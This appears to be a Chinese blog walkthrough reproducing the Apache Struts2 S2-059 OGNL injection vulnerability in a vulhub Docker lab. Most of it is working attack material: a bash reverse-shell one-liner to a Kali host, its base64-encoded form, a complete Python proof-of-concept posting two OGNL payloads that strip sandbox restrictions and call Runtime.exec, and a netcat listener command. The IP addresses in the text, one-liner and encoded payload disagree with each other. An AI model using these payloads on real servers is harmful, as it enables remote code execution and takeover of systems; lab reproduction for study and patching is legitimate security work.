声明

好好学习,天天向上

漏洞描述

struts2框架

2020年8月13日,Apache官方发布了一则公告,该公告称Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。

影响范围

Struts 2.0.0 – Struts 2.5.20

复现过程

可以下载中间件系列,使用docker搭建

https://github.com/vulhub/vulhub

下载完成后,我这里把文件夹名字改了

cd vulhub-20201028/struts2/s2-05
docker-compose up -d

docker拉取后

浏览器访问

http://192.168.239.129:8080/?id=1

在这里插入图片描述

浏览器访问,F12,查看第一行,发现三三得九被执行

http://192.168.239.129:8080/?id=%25{3*3}

在这里插入图片描述

接下来,开始攻击,由于反弹shell的bash需要经过base64编码,先把反弹shell的代码确定,我这里是反弹到我的kali192.168.239.129

bash -i >& /dev/tcp/192.168.239.139/6666 0>&1

base64编码,编码网站:

http://www.jackson-t.ca/runtime-exec-payloads.html

编码后为

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMzkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

POC脚本(python),这里需要改两个地方,第二行,把IP改成docker启动的struts2的IP,倒数第七行,exec(‘后面到倒数第六行,这里直接把编码后的粘贴进来,注意标点符号’))}",保存为s2-059.py

import requests
url = "http://192.168.239.129:8080"
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

kali监听

nc -lvvp 6666

kali执行POC

python s2-059.py

成功反弹shell

在这里插入图片描述

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐